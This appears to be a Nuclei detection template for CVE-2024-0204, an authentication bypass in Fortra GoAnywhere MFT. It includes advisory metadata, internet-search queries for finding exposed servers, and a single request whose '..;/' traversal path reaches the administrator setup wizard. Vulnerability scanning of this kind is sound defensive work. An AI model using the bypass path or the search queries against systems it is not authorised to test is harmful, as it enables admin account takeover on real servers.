id: CVE-2024-0204

info:
  name: Fortra GoAnywhere MFT - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.
  reference:
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml
    - https://www.fortra.com/security/advisory/fi-2024-001
    - https://github.com/horizon3ai/CVE-2024-0204/blob/main/CVE-2024-0204.py
    - https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
    - http://packetstormsecurity.com/files/176683/GoAnywhere-MFT-Authentication-Bypass.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0204
    cwe-id: CWE-425
    epss-score: 0.53864
    epss-percentile: 0.97564
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query: http.favicon.hash:1484947000,1828756398,1170495932
    fofa-query: app="GoAnywhere-MFT"
    zoomeye-query: app:"Fortra GoAnywhere-MFT"
  tags: cve,cve2024,auth-bypass,goanywhere

http:
  - method: GET
    path:
      - "{{BaseURL}}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Create an administrator account"
          - "goanywhere"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220581efe02eb9cd3ada112546fde3dc7479baecfc944f62b46161092c26a8ea386022100938435bdc92e8db29976fbb000eb51a136a70541574c87c832a83b2b1f87ced1:922c64590222798bb761d5b6d8e72950